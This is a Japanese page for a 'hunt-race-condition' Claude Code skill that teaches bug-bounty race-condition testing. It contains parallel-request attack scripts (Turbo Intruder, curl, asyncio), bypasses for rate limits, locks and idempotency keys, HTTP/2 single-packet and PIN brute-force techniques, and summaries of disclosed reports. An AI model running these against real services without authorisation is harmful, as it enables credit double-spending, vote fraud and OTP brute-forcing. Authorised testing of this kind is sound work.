hunt-race-condition について
hunt-race-conditionは、WebアプリやAPIの競合状態を見つけるセキュリティテストスキルです。回数制限のある操作、状態変更、並行リクエストに焦点を当て、実際の影響と再現性を確認します。
主な機能
- 01一度限り・回数制限付き操作の特定
- 02状態の読み取り・書き込み・検証の追跡
- 03リクエストの並行送信
- 04応答と処理後の状態を分析
- 05ロックと冪等性対策のテスト
- 06再現性と影響の検証
活用シーン
- 01クーポンやクレジットの二重利用を確認
- 02重複投票や二重処理をテスト
- 03アカウント制限フローの競合時間を評価
- 04再現可能な結果で競合状態を検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-race-conditionインストール後、Claude Code で/hunt-race-conditionを入力して読み込まれたか確認します。
詳細
最重要の標的
競合状態は、金銭、アクセス制御、完全性に関する前提を崩すため、重大度の高い脆弱性として評価されます。防御側がストレステストを行うことはほとんどありません。報奨金が最も高額になりやすいのは、次の領域です。
- 金銭・クレジットシステム — ギフトカード、クーポン、紹介ボーナス、プロモーションクレジット、ウォレット残高の二重使用
- 投票・評価の操作 — 同じコンテンツへの複数回の投票、リーダーボードやトレンドアルゴリズムの不正利用
- アカウント制限の回避 — 無料プランの上限超過、招待、トライアルの有効化、API キーの生成における「ユーザーごとに 1 回」の制限の回避
- 権限昇格 — ユーザー作成・アップグレードフロー中のロール割り当てや権限チェックに対する競合攻撃
- 削除の回避 — 「削除対象としてマーク」されてから「実際に削除」されるまでのわずかな時間内に、データを読み取る、または流出させる
- 決済フロー — カードへの請求は 1 回だけなのに、複数回のサービス提供を受ける
最も高額な報奨金が期待できる資産の種類: フィンテックアプリ、クレジット・サブスクリプションモデルを採用する SaaS プラットフォーム、評価システムを備えたソーシャルプラットフォーム、E コマースのチェックアウトフロー、OAuth/SSO トークンエンドポイント。
攻撃対象領域の兆候
URL パターン
/vote, /upvote, /like, /favorite
/redeem, /apply-coupon, /use-code, /claim
/purchase, /checkout, /confirm-order, /pay
/transfer, /withdraw, /send-money
/invite, /referral, /accept-invite
/upgrade, /activate, /trial
/delete, /deactivate, /cancel
/follow, /subscribe
競合が発生しやすいバックエンドを示すレスポンスヘッダー
X-RateLimit-* # rate limiting exists, but may not be atomic
X-Request-Id # each request independently tracked
No Cache-Control # stateful ops not idempotent
grep 対象の JavaScript パターン
// Single-use action buttons with client-side disable
button.disabled = true
$('#btn').prop('disabled', true)
// Optimistic UI updates (state set before server confirms)
setState({ used: true })
// Sequential async calls without locking
await useVoucher(); await deductBalance();
技術スタックの兆候
with_lock/lock!を使っていない Ruby on Rails — ActiveRecord はデフォルトではロックしません- async/await チェーンを使う Node.js — アトミックでない DB 読み取り後の書き込み
SELECT ... FOR UPDATEを使っていない PHP — レガシーなコードベースでよく見られます- マイクロサービス — サービス間呼び出しによって、自然に TOCTOU が発生する時間枠が生じます
- Lua スクリプトや
INCRのアトミック性チェックを使っていない Redis カウンター - メッセージキュー — 冪等性キーが設定されていないことがよくあります
手順に沿った調査方法
-
一度限り、または利用回数が制限された操作を列挙する — 「ユーザーごとに 1 回」「数量限定」「残高を差し引く」という制約を適用するすべてのエンドポイントを洗い出します。これらが主な標的です。
-
状態遷移を理解する — 対象の各操作について、(a)どの状態が読み取られるか、(b)どの状態が書き込まれるか、(c)読み取りと書き込みの間にどの検証処理があるかを特定します。読み取りと書き込みの間が攻撃可能な時間枠です。
-
正常なリクエストのベースラインを取得する — Burp Suite でインターセプトしながら、正規の手順で操作を 1 回実行します。想定どおりに 1 回だけ使えること(例:クーポンが使用済みになり、投票が 1 回だけカウントされること)を確認します。
-
並列リクエスト用のツールを準備する — 次のいずれかを使用します。
- Burp Suite Repeater → 「Send group in parallel」(HTTP/2 のシングルパケット攻撃には Turbo Intruder)
- 最終バイト同期には、
engine=Engine.BURP2を指定した Turbo Intruder &でバックグラウンド実行するcurl- 接続を事前に確立する
threadingまたはasyncioを使った Python
-
競合攻撃を実行する — 同一のリクエストを 10~50 件、同時に送信します。重要なテクニックは、すべてのリクエストを事前に接続してバッファリングし、最後の 1 バイトを同時に解放することです(HTTP/2 が利用できる場合のシングルパケット攻撃)。
-
レスポンスを分析する — 次の点を確認します。
- 1 件だけ成功するはずなのに、複数の
200 OKが返る - 成功メッセージが重複する
- データベース制約エラーが発生する(競合は成功したものの、最後の防御策に阻止されたことを示します)
- レスポンス時間にばらつきがある(1 件が速く残りが遅い場合は直列処理、すべて同じ速度なら並列処理)
- 1 件だけ成功するはずなのに、複数の
-
実際の影響を確認する — 実際の状態を調べます。クレジットが 2 回適用されたか、投票数が複数回増えたか、2 回成功したのにクーポンが未使用のままかを確認します。
-
悪用可能な時間枠を特定する — 並列数を減らして(リクエスト 5 件、3 件、2 件)再実行し、時間枠の狭さと攻撃の再現性を把握します。
-
アカウントの種類ごとにテストする — 新規アカウント、特定のサブスクリプションプラン、または特定のサーバー負荷のときにしか競合攻撃が成功しない場合があります。条件を変えてテストします。
-
再現性を記録する — 報告前に、正確なタイミング、必要な並列リクエスト数、独立した 5 回の試行での成功率を記録します。
ペイロードと検出パターン
Turbo Intruder — 基本的な並列競合
# turbo_intruder_race.py
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2) # HTTP/2 single-packet
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1')
def handleResponse(req, interesting):
if '200' in req.status:
table.add(req)
curl — 並列リクエスト(bash)
# Fire 15 simultaneous vote/redeem requests
for i in $(seq 1 15); do
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}\n" \
-X POST "https://target.com/api/vote" \
-H "Cookie: session=YOUR_SESSION" \
-H "Content-Type: application/json" \
-d '{"report_id": "12345", "vote": "up"}' &
done
wait
Python asyncio による競合
import asyncio, aiohttp
async def race_request(session, url, payload, headers):
async with session.post(url, json=payload, headers=headers) as r:
return await r.text()
async def main():
url = "https://target.com/redeem"
payload = {"code": "GIFT50"}
headers = {"Cookie": "session=XXXXX"}
async with aiohttp.ClientSession() as session:
tasks = [race_request(session, url, payload, headers) for _ in range(20)]
results = await asyncio.gather(*tasks)
for r in results:
print(r[:100]) # print first 100 chars of each response
asyncio.run(main())
ソースコード監査用の Grep パターン
# Look for read-then-write without locking
grep -rn "find_by\|where.*first" --include="*.rb" | grep -v "lock"
grep -rn "SELECT.*WHERE" --include="*.php" | grep -v "FOR UPDATE"
# JavaScript async without atomicity
grep -rn "await.*get\|await.*find" --include="*.js" -A2 | grep "await.*update\|await.*save"
# Python Django ORM without select_for_update
grep -rn "\.get(\|\.filter(" --include="*.py" | grep -v "select_for_update"
HTTP/2 シングルパケットチェック
# Verify target supports HTTP/2 (prerequisite for single-packet attack)
curl --max-time 30 --connect-timeout 10 -sI --http2 https://target.com | grep -i "HTTP/2\|h2"
よくある根本原因
-
アトミック操作を伴わない確認後の実行 — 開発者は状態を読み取り(
if voucher.used == false)、その後、別のデータベース操作で状態を書き込みます(voucher.update(used: true))。どちらかが書き込む前なら、どのスレッドも同じ「未使用」の状態を読み取れてしまいます。 -
データベースレベルのロックの欠如 —
SELECT ... FOR UPDATEではなく、findやfilterなどの ORM メソッドを使用しています。修正は1行で済みますが、開発者は同時実行性を考慮しないことがあります。 -
バージョン確認を伴わない楽観的同時実行制御 — システムが、読み取り後にレコードが変更されたかどうかを確認せずに、カウンターを増やしたりレコードにマークを付けたりします。
-
マイクロサービスにおける TOCTOU — サービス A が適格性を検証し、サービス B が処理を実行します。両サービスにまたがる共有のアトミックトランザクションはありません。
-
クライアント側の「保護」 — 開発者は、最初のクリック後に JavaScript でボタンを無効化すれば、重複送信を防げると考えます。サーバー側のロジックは強化されていません。
-
トランザクション外でのカウンター増加 — アトミックな SQL の
UPDATE SET votes = votes + 1 WHERE id = ?ではなく、votes_count += 1; save()を使用します。 -
非同期バックグラウンドジョブ — 適格性を同期的に確認し、非同期で処理を実行します。最初のジョブが完了する前に、2つ目のリクエストが確認を通過します。
-
無効化処理のないキャッシュ — 最初の書き込みがまだ反映されていないキャッシュミス期間中に、「ユーザーは投票済みか?」というキャッシュ確認が古い
falseを返します。
バイパス手法
防御側が実装する対策(とそのバイパス方法)
防御策:ユーザー単位のレート制限
- バイパス:レート制限は処理の実行前に確認されます。リクエストを同時に送信すれば、いずれもカウントされる前にすべてレート制限の確認を通過します。
防御策:冪等性キー/一意のリクエストトークン
- バイパス:サーバーがトークンを生成または再利用している場合は、トークンを付けずに並列リクエストを送信してみてください。または、一意性の確認自体に競合期間がないか調べてください。
防御策:データベースの一意制約
- バイパス:制約が重複を検出するのは、競合が発生した後です。データベースが制約を適用する前に、最初の2件がどちらも成功する可能性があります。一部だけ処理されるケースを探してください。片方が成功してもう片方がエラーになっても、両方が反映されることがあります。
防御策:短い有効期間/有効期限付きトークン
- バイパス:有効なトークンを付けたリクエストをすべて事前に準備してください。シングルパケット HTTP/2 を使って、すべてを1つの TCP フレームで送信します。サーバーはそれらを同じスケジューラースロットで処理します。
防御策:キューによる直列化
- バイパス:複数のキュー(または同じキューを処理する複数のワーカー)が、重複メッセージを取得することがあります。この期間中にキューへ過剰な負荷をかけてテストしてください。
防御策:アプリケーション層のミューテックス/ロック
- バイパス:複数のアプリケーションサーバーを実行する分散システムでは、プロセス内ロックは共有されません。異なる CDN ノードまたは負荷分散されたサーバーを経由して、同じエンドポイントにリクエストを送信してください。
防御策:アプリケーションコードでの「使用済み」確認
- バイパス:確認と更新は別々に行われます。どちらの更新も完了する前に、競合する両方のリクエストが確認を通過します。これを真に防止できるのは、アトミックな
UPDATE ... WHERE used=false RETURNING idだけです。
ゲート 0 の検証
レポートを書く前に、以下の3点すべてを確認してください。
-
攻撃者は今、何ができますか? 同じ一度限りの操作が複数回成功したことを、スクリーンショットやログで実証できますか?(例:1人のユーザーによる投票数が +2 増えている、クレジット残高に二重にクレジットが付与されている、クーポンが2回使用済みになっている)
-
被害者は何を失いますか? 具体的かつ測定可能な被害がありますか?金銭的損失(過剰に発行されたクレジット)、完全性の損失(ランキングや投票の操作)、またはセキュリティ上の損失(権限を超えたアクセスの付与)でしょうか。「カウンターが2回増えた」というだけでは、そのカウンターに実社会での価値がある場合に限り有効です。
-
最初から10分以内に再現できますか? 20行のスクリプトを書き、新しいテストアカウントに対して実行し、少なくとも5回中3回、重複して発生する効果を確実に実証できますか?完全に制御できない厳密なタイミングに依存する場合、悪用可能性の主張は弱いものになります。
実際の影響の例
シナリオ 1:ソーシャルプラットフォームの投票操作
あるバグバウンティプラットフォームの「人気のレポート」機能では、賛成票によってレポートの表示順位と研究者の評判スコアが向上する仕組みでした。同じレポートに対し、1つの HTTP/2 接続を使って(シングルパケット攻撃)、約15件の賛成票リクエストを並列送信することで、研究者は1つのアカウントから10〜15票を登録できました。これにより、レポートのランキングが人為的に引き上げられ、研究者の評判スコアが操作され、プラットフォームのクラウドソーシングによる優先順位付けシステムが歪められました。これは、脆弱性レポートのトリアージというプラットフォームの中核機能への信頼を直接損なうものでした。
シナリオ 2:大手ソーシャルネットワーク — プロモーション特典の重複獲得
大手ソーシャルネットワーク(Facebook 規模)では、一度限りのセキュリティクレジットを獲得するための電話番号の追加や、一度限りのボーナスの受け取りなど、プロモーションまたは利用回数に制限のある操作が、同時並列リクエストに対して脆弱でした。攻撃者は特典の受け取りエンドポイントに対して競合状態を発生させ、プロモーション特典を複数回受け取ることができました。その結果、プラットフォームに直接的な金銭的損失が生じ、プラットフォーム内通貨や特典が大規模に不正蓄積される可能性がありました。ユーザー数を考えると、修正前の短い期間であっても、重大な金銭的リスクが生じていました。
シナリオ 3:クラウドインフラストラクチャプロバイダー — リソース上限の回避
あるクラウドホスティングプロバイダーは、無料プランのユーザーが作成できるリソース(例:droplet、プロジェクト、API キー)の数に上限を設けていました。上限の確認とリソースの作成は、アトミックではない操作でした。作成エンドポイントに対して20件のリクエストを同時送信し、競合状態を発生させることで、攻撃者は適用ロジックを回避し、プランの上限を大幅に超える数のリソースを作成しました。これは、不正なコンピューティングリソースの消費、請求詐欺、インフラストラクチャの悪用に直結し、プロバイダーの収益と正規ユーザー向けシステムの安定性の両方に影響を与えました。
公開済みレポートの引用(追加 +9 — 2016〜2024年)
以下の実際に確認されたバグバウンティ/協調的な脆弱性開示事例を、このスキルに追加します。4つの事例(#4、#11、#12、およびボーナス参照)では、現代の HTTP/2 シングルパケット攻撃 の手法(Kettle DEF CON 31、2023年;Flatt Security による拡張、2024年)を使用しています。これは、現代の競合状態を利用する攻撃の大半を今日実現可能にしている手法です。
4. GitLab — CVE-2022-4037 メール認証の競合状態(KettleによるDEF CON 31のケーススタディ) (NVD · PortSwigger Research)
- サブクラス:パスワードリセット/メールアドレス変更トークンの競合(メール認証におけるTOCTOU)
- 単一パケットHTTP/2:はい — 「Smashing the State Machine」の代表的なケーススタディ
- ペイロード:メールアドレスを異なる2つのアドレスに変更する、同時実行の POST /-/profile リクエスト。状態遷移がアトミックでなかったため、アドレスAに送信された認証トークンがアドレスBで有効になります
- 根本原因:Devise(Railsの認証機能)は、新しいメールアドレスが保存される前に確認トークンを生成します。同時更新によってトークンの送信先が誤ります
- 年:2022年(2023年に開示)、CVSS 6.4、15.7.2 / 15.6.4 / 15.5.7で修正
-
Worldcoin(Tools for Humanity)— World IDのアクション認証における競合状態 (Mediumの記事)
- サブクラス:投票/アップボートの水増し(1人につき1アクションという制限の回避)
- ペイロード:認証エンドポイントに対し、Burpの「Send in Parallel」を使って約20件の並列リクエストを送信
- 根本原因:
canVerifyForActionがDBレベルのロックなしで配列に追加していました。修正では、アトミックなUPSERTを行うnullifiersテーブルを追加しました - 年:2023年 — $3,000(高)
-
Stripe — 上限を超えて利用できるプロモーションコード (H1 #1717650)
- サブクラス:クーポンの二重利用
- ペイロード:利用上限を1に設定したプロモーションを作成します。同じ加盟店の決済リンクを2つのタブで開き、両方でクーポンを適用して同時に支払いを実行すると、どちらも成功します
- 根本原因:利用回数カウンターは決済後に加算され、決済とアトミックに処理されていませんでした。
promotion_code.times_redeemedに行レベルのロックもありませんでした - 年:2022年 — $250
-
Stripe — 手数料割引を何度も利用できる問題 (H1 #1849626)
- サブクラス:ウォレット/残高の二重使用(Connectの手数料割引を繰り返し利用可能)
- ペイロード:クレジット消費済みフラグが切り替わる前に、一度限りのプロモーションクレジットの利用エンドポイントへ並列POSTリクエストを送信
- 根本原因:クレジット残高オブジェクトに対する確認と減算がアトミックではありませんでした
- 年:2023年 — $5,000、利用ごとにプラットフォーム手数料が約$600損失
-
marketplace.example.com — ギフトカードの複数回利用 (H1 #759247)
- サブクラス:クーポンの二重利用(ギフトカード)
- ペイロード:
POST /gift_cards/redeemを取得 → N回複製 → 並列実行 → 1枚のカードから残高がN回加算される - 根本原因:ギフトカードの消費済みマーカーは残高加算後に書き込まれ、利用時の読み取りに
SELECT…FOR UPDATEが適用されていませんでした - 年:2019年 — $1,500(基礎的な事例/広く引用)
-
Cosmos/Starportのフォーセット — 二重発行の競合状態 (H1 #1438052)
- サブクラス:ウォレット/残高の二重使用(暗号資産フォーセットのトークン発行)
- ペイロード:同時に
/faucet/transferリクエストを送信します。TransferGo関数はリクエストごとに状態を変更する2つの処理を実行し、どちらもアトミックではありません - 根本原因:フォーセットのハンドラーは受取人ごとにロックしていませんでした。transfer() の読み取り・変更・書き込みも直列化されていませんでした
- 年:2022年 — $5,000(CVSS 9.3)
-
InnoGames — メール有効化の競合状態 → ダイヤモンド無制限取得 (H1 #509629)
- サブクラス:紹介悪用の倍率増加/アカウント作成の競合(1つの有効化トークンで複数回の「初回有効化ボーナス」を受け取る)
- ペイロード:
token_usedフラグが確定する前に、同じ一度限りのトークンでメール有効化エンドポイントに競合を起こします → 成功したリクエストごとに報酬が付与されます - 根本原因:トークン消費フラグは報酬付与と同じトランザクション内で設定されていましたが、トランザクションの分離レベルが低すぎました(READ COMMITTED)
- 年:2019年 — $2,000
-
RyotaK / Flatt Security —「First Sequence Sync」PIN 総当たり攻撃(単一パケットの拡張で 10,000 件のリクエスト)(Flatt Security Research)
- サブクラス:レースによるレート制限の回避/MFA OTP 検証のレース(6 桁 PIN、試行上限 5 回)
- 単一パケット HTTP/2:はい — Kettle の単一パケットを、IP フラグメントへの分割と TCP の First Sequence 同期により、約 30 件から 10,000 件のリクエストへ拡張し、166 ms で送信
- ペイロード:それぞれ異なる 4〜6 桁の数字を試す、約 10,000 件の並行した
POST /verify-pinリクエストを 166 ms で送信し、すべてがレート制限の時間枠内に到達 - 根本原因:レート制限カウンターがリクエストごとに非同期で増加していたため、バッチ全体で「5 回まで」の判定が古いカウンター値を読み取っていた
- 年:2024 年 — 現代の単一パケット攻撃の例として必ず参照すること
-
nopCommerce — CVE-2024-58248 ギフトカードの二重利用(NVD)
- サブクラス:クーポンの二重利用(E コマースのチェックアウトにおける TOCTOU)
- 単一パケット HTTP/2:はい — 単一パケット攻撃で確実に再現可能
- ペイロード:同じギフトカードを適用する並行した
POST /checkout/PlaceOrderリクエストを 2 件送信 → 両方の注文が完了する一方で、ギフトカードの残高は 1 回だけ差し引かれる - 根本原因:注文処理のコードパスでギフトカード残高の行にロックを実装していなかったため、確認と引き落としがアトミックではなかった
- 年:2024 年(4.80.0 より前のバージョン)
HTTP/2 単一パケット攻撃 — 詳細リファレンス
単一パケット攻撃は、2020 年以降に公開された最も重要なレースコンディションの手法です。レースウィンドウを「TCP ハンドシェイクのジッターを伴う数十ミリ秒」から「サーバーのワーカープールがバッファー済みの N 件のリクエストをディスパッチするのにかかる時間」へと短縮し、通常はバッチ全体で 1 ms 未満になります。これにより、従来はレース攻撃が不可能に見えた、レート制限付きの分散型・ロードバランス構成のバックエンドに対しても、現代のレース攻撃が可能になります。
初出の研究:James Kettle、PortSwigger —「Smashing the State Machine」(DEF CON 31、2023 年 8 月) portswigger.net/research/smashing-the-state-machine。2024 年の拡張:RyotaK / Flatt Security —「Beyond the Limit: Expanding Single-Packet Race Condition with First Sequence Sync」 flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/。
有効な理由 — アーキテクチャー
競合を悪用する攻撃が失敗する理由は、同じ問題のように見えて、実際には異なる2つの要因にあります。
- ネットワークのジッター — 同じ TCP 接続を介して連続送信された N 件のリクエストは、RTT と輻輳の状況に応じて、0.5~5 ms のばらつきをもってサーバーに到着します。
- サーバー側のディスパッチ順序 — N 件のリクエストがすべて同じミリ秒内に到着しても、ワーカープールがロードバランサーや接続待ちキューを介して直列化することがあります。
シングルパケット攻撃は、HTTP/2 のプロトコルレベルの2つの特性を利用して(1)を解決します。
- HTTP/2 は、1つの TCP 接続上で N 件のリクエストを多重化し、1回のリクエストバッチにつき1つの TLS レコードとして送信します。
- TLS レコードには複数の HTTP/2
HEADERSフレームを含めることができ、各 HEADERS フレームを個別のストリームの最後のフレームにできます。
つまり、1つの HTTP/2 接続に N 件のリクエストを事前に準備しておき、各 HEADERS フレームの最後の1バイト以外をすべて送信してから、最後のバイトをすべて1回の TCP 書き込みで送信することで、TCP スタックはそれらを1つの IP パケット(MTU 未満、約1500バイトの場合)で送信します。サーバーのカーネルは、同じスケジューラーティック内に N 件すべてのリクエストを HTTP/2 パーサーに渡します。競合ウィンドウはもはやネットワークではなく、アプリケーション自体のアトミック性が損なわれる時間帯になります。
(2)のサーバー側のディスパッチ順序については、Kettle によると、最新のバックエンド(Node.js、Go、非同期 Python)は、事前に解析された N 件のリクエストを含むパケットを受け取ると、マイクロ秒単位で並行してディスパッチします。古いブロッキング型バックエンド(デフォルトの Apache prefork、シングルスレッドの PHP-FPM)では、シングルパケットで配信しても直列化されます。このようなバックエンドでは効果は小さくなりますが、TCP ストリームで順番に送信するよりは有利です。
最終バイト同期方式
Kettle が記録した正確な仕組みは次のとおりです。
- HTTP/2 接続を1つ開きます。TLS をネゴシエートし、SETTINGS フレームを送信して、サーバーからのフレームを受け取ります。
- N 件のリクエストそれぞれについて、END_HEADERS フラグを設定した
HEADERSフレームと、ボディの最後の1バイト以外すべてを含むDATAフレームを送信します。まだ END_STREAM は設定しないでください。 - END_STREAM が送信されていないため、サーバーはリクエストをディスパッチできず、あと1バイトを待ちます。
- 同じ接続上で、すべての N 件のリクエストについて(2)を繰り返します。これで各リクエストはサーバーにバッファーされ、「ほぼ完了」まで解析された状態になります。
- 1回の TCP 書き込みで、END_STREAM を設定した1バイトの
DATAフレームを N 個送信します。 TCP はそれらを1つのアウトバウンドセグメントにまとめます。サーバーの HTTP/2 パーサーは、同じスケジューラーティック内に N 個すべてのストリームで END_STREAM を認識します。 - サーバーは、数マイクロ秒以内に N 件のリクエストを N 個のワーカーへディスパッチします。
競合ウィンドウは、ワーカー N が SELECT ... FOR UPDATE を実行してから、ワーカー N+1 が同じクエリーを実行するまでの時間です。通常、ワーカーが同じ CPU で実行されていれば、ナノ秒単位です。
Wireshark による検証
攻撃ツールが実際に1パケット同期を実現していること(誤って断片化していないこと)を確認するには、次の手順に従います。
- 攻撃中にループバックインターフェースまたは送信インターフェースをキャプチャします。
sudo tcpdump -i lo0 -w race.pcap port 443(またはインターフェース 0)を実行します。 - Wireshark で開き、
tls and tcp.port == 443でフィルターします。 - END_STREAM のフラッシュを含む TLS レコードを探します。END_STREAM が設定された N 個の H2 DATA フレームが、1つの TLS レコード内、1つの TCP セグメント内に含まれているはずです。
- N 個の TLS レコードまたは N 個の TCP セグメントが見える場合、ツールは順番に送信しています。競合ウィンドウはセグメント間の間隔で、通常は広すぎます。
Turbo Intruder の engine=Engine.BURP2 実装は、リクエストボディが MTU に収まる場合、HTTP/2 ターゲットへのシングルパケット配信を保証します。ボディが大きい場合は、以下の「競合ウィンドウの推定」サブセクションを参照してください。
h2.0 シングルフレーム対 h2.cl マルチフレーム競合
ターゲットがどのプロトコルを話すかに応じて 2 つのバリアントがあります:
- h2.0 シングルフレーム (標準的な Kettle 攻撃): 純粋な HTTP/2 のエンドツーエンドです。1 つの TLS レコードに N 個のリクエストを送ります。フロントエンドが ALPN で
h2を通知するあらゆる最新の HTTPS フロント付きターゲットに対して機能します。デフォルトのアプローチです。 - h2.cl マルチフレーム: フロントエンドはクライアントと HTTP/2 を話し、バックエンドへは HTTP/1.1 にダウングレードします。スマグリングに近い手法です —
Content-Lengthがフロントエンドを混乱させ、同じ接続上でバックエンドに対して 2 つの HTTP/1.1 リクエストを送出させるような HTTP/2 リクエストを作成します。HTTP リクエストスマグリングと組み合わせて使用します (hunt-http-smugglingを参照)。シングルパケット HTTP/2 がフロントエンドでフィルタリングされているものの、バックエンドが HTTP/1.1 で到達可能な場合に有用です。
h2.0 の実行可能性は curl -sI --http2 https://target.com | grep -i HTTP/2 で検出します。サーバーが h2 を話さない場合、シングルパケットは直接には適用できません — HTTP/1.1 上の「並列パイプライニング」にフォールバックします (競合ウィンドウがはるかに広がります。通常は最新のバックエンドとの競合には敗れますが、素朴なバックエンドには依然として有効です)。
競合ウィンドウの推定方法論
攻撃を発射する前に、競合ウィンドウを見積もります。これにより、そもそもシングルパケットが必要かどうか、また同時リクエストをいくつ送るかが決まります。
- ターゲットのエンドポイントに単一のリクエストを発行します。ワイヤー上の応答時間を取得します:
T_single。 - 2 つの連続リクエストを発行します。両方の応答時間を取得します:
T_seq1、T_seq2。 - 同じ接続を介して2 つの同時リクエストを発行します (HTTP/2 多重化または HTTP/1.1 パイプライン経由)。両方を取得します:
T_par1、T_par2。 T_par1 ≈ T_par2 ≈ T_singleの場合、サーバーは両方を並列に処理しています — 競合ウィンドウはmin(T_par1, T_par2)であり、シングルパケットが大いに役立ちます。T_par2 ≈ T_par1 + T_singleの場合、サーバーは直列化しています — 競合ウィンドウは連続するワーカー間で起こること次第です。シングルパケットの効果は薄れますが、それでも TCP ジッターよりは勝ります。- PIN / OTP / クーポン引き換えエンドポイントの場合、
T_singleは 10〜100 ms (DB クエリのレイテンシー) になると予想されます。サーバー内部の競合ウィンドウは通常 1 ms 未満です (同じ行に対するSELECTとUPDATEの間の隙間)。 - N の経験則: シングルパケット h2 では、まず
N = 30の同時リクエストから始めます。ターゲットのT_singleが 10 ms 未満 (非常に高速なエンドポイント = ワーカープールを溢れさせるためにより大きなプリバッファが必要) の場合は 100 以上に増やします。Flatt の first-sequence-sync 拡張 (下記参照) を使えば最大 10,000 まで可能です。
単一接続マルチストリーム対マルチ接続単一ストリーム
適切な形を選ぶための決定木:
- 単一接続、N ストリーム (デフォルトの Kettle / Turbo Intruder BURP2 エンジン): 1 つの TCP 接続上の N 個の同時 HTTP/2 ストリーム。使用する場面: ターゲットが HTTP/2 を話す、リクエストボディが MTU に収まる (TLS オーバーヘッド後に約 1400 バイト)、N ≤ 約 30 が必要。
- 複数接続、それぞれ 1 ストリーム (旧来の並列 HTTP/1.1): N 個の TCP 接続、接続ごとに 1 リクエスト。使用する場面: ターゲットが HTTP/2 を話さない、またはリクエストボディが大きい (> MTU)。競合ウィンドウが大幅に広がります (TCP ハンドシェイクのばらつきで 5〜50 ms) — 遅いサーバーでのみ有効です。
- 複数接続、複数ストリーム (Flatt の first-sequence-sync、2024年): それぞれ M 個のストリームを運ぶ N 個の TCP 接続。合計 = N×M リクエスト。複数の接続にわたって同期された TCP の初期シーケンス番号を使用し、すべてのパケットを同じ処理ウィンドウでサーバーに到達させます。使用する場面: N > 30 が必要な場合 (例: 5 回試行のレート制限ウィンドウ内で 6 桁の PIN をブルートフォースする — Flatt は同期された SEQ 番号で IP フラグメントに分割することにより、166 ms で 10,000 リクエストを実証しました)。
Turbo Intruder Engine.BURP2 テンプレートの解説
def queueRequests(target, wordlists):
# 1. Engine.BURP2 = HTTP/2 single-packet engine; provides the last-byte-sync primitive.
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1, # 2. One TCP connection, multiplexing all streams.
requestsPerConnection=100, # 3. Up to 100 concurrent H2 streams. >30 needs Flatt-extension.
engine=Engine.BURP2, # 4. THE critical line — selects the single-packet engine.
pipeline=False, # 5. Pipelining is for HTTP/1.1; irrelevant on H2.
)
# 6. Build N requests. Each is identical here — racing the same endpoint.
# For PIN brute-force, vary the body across requests.
for i in range(30):
engine.queue(target.req)
# 7. openGate(...).complete(...) is the API call that performs last-byte-sync:
# - Buffer all 30 requests up to "last byte not sent"
# - Release all final bytes in a single TCP write
# - openGate returns immediately; complete waits for all responses.
engine.openGate("race1")
engine.complete(timeout=10)
Engine.BURP2 のインポートが、処理の大部分を担います。内部では、次のように動作します。
engine.queue(req)を呼び出すたびに、接続の送信バッファーに HEADERS フレームが追加されますが、最後の DATA フレームの 1 バイトは送信されずに保留されます。openGate("race1")は、30 件すべてがバッファーに格納されるまで待機し、その後、END_STREAM を付けた 1 バイトの DATA フレームを 30 個含むsocket.send(...)を 1 回だけ実行します。MTU 未満であれば、30 件すべてが 1 つの IP パケットで送信されます。complete(timeout=10)は、レスポンスと所要時間を収集します。
各レスポンスオブジェクトを確認します。req.code、req.length、req.time を参照してください。少なくとも 2 件のリクエストが、論理的には同時に成立し得ないはずの成功を返した場合(たとえば、引き換え上限が 1 回なのに、両方のクーポン適用が成功した場合)、レースに「勝った」と判断します。
Flatt の first-sequence-sync 拡張(N > 30 が必要な場合)
Kettle のオリジナル版では、MTU と TLS レコードの制限により、1 パケットの上限はおよそ N=30 です。Flatt Security の RyotaK は、2024 年 8 月にこの拡張を公開しました。
- IP フラグメンテーションを利用します。IP レイヤーで 1 つの「論理」パケットを、複数の物理 IP フラグメントに分割できます。
- TLS ハンドシェイクを同期して完了させ、SYN/SYN-ACK のタイミングをそろえることで、複数の接続にわたって TCP SEQ 番号を同期させます。
- 結果として、サーバーが不可分だとみなしていたレート制限のウィンドウ内に、10,000 件の同時リクエストを 166 ms でサーバーへ送信できます。
用途:5 回/ウィンドウの制限内で 6 桁の PIN(候補は最大 10^6 件)を総当たりします。first-sequence-sync がなければ、およそ 200,000 ウィンドウが必要ですが、あればおよそ 100 ウィンドウで済みます。
実装については、動作する PoC を掲載した flatt.tech/research/posts/beyond-the-limit-... を参照してください。
オペレーター向けプレイブック(状況に応じた選択)
| シナリオ | ツール/バリアント |
|---|---|
最新の HTTPS ターゲットで、ALPN が h2 をアドバタイズし、ボディが 1400 バイト未満、N ≤ 30 が必要 | Turbo Intruder Engine.BURP2 のシングルパケット方式 — デフォルト |
| 上記と同じだが、ボディが MTU より大きい | 複数接続の HTTP/2。ウィンドウの推定値を約 5 ms 広げます |
| ターゲットが HTTP/1.1 のみ対応(h2 ALPN なし) | curl --next の並列パイプライン。レースウィンドウが広く、低速サーバーでのみ実用的です |
| N > 30 が必要(PIN の総当たり、レート制限ウィンドウ内での OTP 枯渇) | Flatt の first-sequence-sync 拡張。記事に従って手動で実装します |
| フロントエンドが h2、バックエンドが h1(CDN+オリジン) | h2.cl のスミグリングバリアント。「hunt-http-smuggling」と組み合わせます |
| 単一エンドポイントで手早く再現性を確認 | curl --next --next --next --next(HTTP/1.1 の 4 件並列送信)。ウィンドウは広いものの、セットアップは不要です |
避けるべきパターン
- Burp Repeater の「Send group in parallel」モードで、ほぼ同時に 2 件の成功を観測しただけで「レースコンディション」と主張しないでください。このモードは HTTP/1.1 上でミリ秒単位のばらつきを伴ってパイプライン送信する方式であり、シングルパケットではありません。トリアージ担当者はその違いを把握しており、評価を下げます。
- 高価値のレースを主張する場合、Wireshark での確認なしに報告しないでください。最も効果的な提出物は、Turbo Intruder による送信を示す PoC 動画、N 個すべての END_STREAM フレームが 1 つの TCP セグメントに含まれることを示す Wireshark キャプチャ、そして論理的には同時に成立し得ないはずの成功レスポンス N 件です。
